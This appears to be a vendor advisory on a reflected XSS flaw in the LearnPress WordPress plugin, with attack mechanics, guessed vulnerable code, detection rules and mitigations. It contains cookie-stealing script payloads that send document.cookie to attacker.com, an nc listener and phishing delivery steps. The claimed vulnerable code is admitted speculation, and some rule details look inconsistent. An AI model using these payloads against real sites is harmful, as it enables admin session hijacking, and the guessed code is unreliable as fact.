CVE-2026-48865
Executive Summary
CVE-2026-48865 is a reflected Cross-Site Scripting (XSS) vulnerability in the LearnPress WordPress plugin, developed by ThimPress. The flaw exists in versions from n/a through 4.3.6, where user-supplied input is not properly neutralized during web page generation. An attacker can craft a malicious URL containing JavaScript payloads that, when visited by an authenticated administrator or editor, execute in the context of the WordPress admin panel. This can lead to session hijacking, privilege escalation, or defacement.
Given the widespread use of LearnPress for online course management, this vulnerability poses a significant risk to educational WordPress sites. The EPSS score is 0.0%, indicating low exploitation likelihood at the time of analysis, but the lack of a patch makes it a ticking time bomb.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
LearnPress is distributed via the official WordPress plugin repository and can also be installed via Composer. The vulnerable code resides in the plugin’s core files, specifically in the learnpress directory. No known malicious packages have been reported, but the absence of a patch means that any site running version 4.3.6 or earlier is at risk. Administrators should verify the integrity of their plugin files and consider temporary removal if no update is available.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – The attacker does not need authentication.
- User Interaction (UI): Required (R) – The victim must click a crafted link.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): Low (L) – Limited impact on availability.
Overall Score: 7.1 (High) – This reflects the ease of exploitation and potential for lateral movement within the WordPress admin context.
Deep Dive & Mechanics
The vulnerability resides in the LearnPress plugin’s handling of URL parameters. Specifically, the plugin fails to sanitize or escape user input before reflecting it in the HTML response. A typical attack vector involves injecting JavaScript into a query parameter such as ?s=<script>alert(1)</script> or ?page=learnpress&tab=<script>...</script>.
The vulnerable code is likely in the plugin’s admin pages or public-facing search functionality. Since LearnPress is a WordPress plugin, the attack surface includes any page that echoes user input without proper escaping using functions like esc_html() or wp_kses().
Attack Flow:
- Attacker crafts a URL:
https://victim-site.com/wp-admin/admin.php?page=learnpress&tab=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Victim (admin) clicks the link (e.g., via phishing email).
- The browser executes the injected script.
- The script exfiltrates the admin’s session cookie to the attacker’s server.
- Attacker hijacks the admin session and gains full control over the WordPress site.
Vulnerable vs. Patched Code
Since no patch is available, we can only hypothesize the fix. The vulnerable code likely looks like:
// Vulnerable code (learnpress/admin/views/settings.php)
echo '<input type="text" name="tab" value="' . $_GET['tab'] . '">';
A patched version would use proper escaping:
// Patched code
echo '<input type="text" name="tab" value="' . esc_attr($_GET['tab']) . '">';
The esc_attr() function encodes special characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress site with LearnPress <= 4.3.6 installed.
- A web server to capture exfiltrated data (e.g.,
nc -lvnp 8080).
Step 1: Identify vulnerable parameters.
Use a browser or Burp Suite to fuzz the LearnPress admin pages for reflected input. Common parameters include tab, s, course_id, and order_id.
Step 2: Craft the payload.
<script>new Image().src='http://attacker.com/steal?c='+document.cookie</script>
Step 3: Deliver the URL. Send the crafted URL to an admin via email or social engineering.
Step 4: Capture the cookie. On your listener:
nc -lvnp 8080
When the admin clicks the link, you’ll see the cookie in the request.
Blue Team (Defensive)
Detection:
- Monitor web server logs for unusual query parameters containing
<script>oronerror=patterns. - Use a Web Application Firewall (WAF) to block reflected XSS attempts.
Hunting:
- Search for
GETrequests to/wp-admin/admin.phpwithpage=learnpressand suspicioustabvalues. - Look for outbound connections from the WordPress server to unknown IPs on port 80/443.
Lab Setup:
- Use a local WordPress instance with Docker:
docker run --name wp-learnpress -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=root -e WORDPRESS_DB_PASSWORD=example -p 8080:80 -d wordpress
- Install LearnPress 4.3.6 manually by downloading from the WordPress plugin repository.
Indicators of Compromise (IOCs)
- URL Patterns:
admin.php?page=learnpress&tab=<script> - Log Entries:
GET /wp-admin/admin.php?page=learnpress&tab=%3Cscript%3E - Network Traffic: Outbound HTTP requests to attacker-controlled domains containing
?c=followed by base64-encoded data. - File Changes: Unexpected modifications to
wp-config.phpor new admin users created.
Detection Engineering
YARA Rule
rule CVE_2026_48865_Reflected_XSS_LearnPress {
meta:
description = "Detects reflected XSS attempts against LearnPress plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2026-48865"
strings:
$xss1 = /page=learnpress.*tab=<script>/
$xss2 = /page=learnpress.*s=<script>/
$xss3 = /page=learnpress.*course_id=<script>/
condition:
any of them
}
Sigma Rule
title: Reflected XSS in LearnPress Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting LearnPress WordPress plugin
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- 'page=learnpress&tab='
- 'page=learnpress&s='
cs-uri-query|re:
- '<script>'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of script tags in admin (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-48865 Reflected XSS in LearnPress"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=learnpress"; http_uri; pcre:"/(tab|s|course_id)=<script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the LearnPress plugin until a patch is released.
- Implement a Web Application Firewall (WAF) rule to block query strings containing
<script>oronerror=. - Educate administrators about phishing attacks that may exploit this vulnerability.
Long-term Fix:
- Monitor the ThimPress plugin repository for an update (version > 4.3.6).
- Apply the patch as soon as it becomes available.
- Consider switching to an alternative LMS plugin if LearnPress remains unpatched.
Workaround:
- Add the following to
.htaccessto block malicious requests:
RewriteEngine On
RewriteCond %{QUERY_STRING} (<script>|onerror=|onload=) [NC]
RewriteRule ^wp-admin/admin.php - [F,L]
Valters IT – DevSecOps & Cyber Threat Intelligence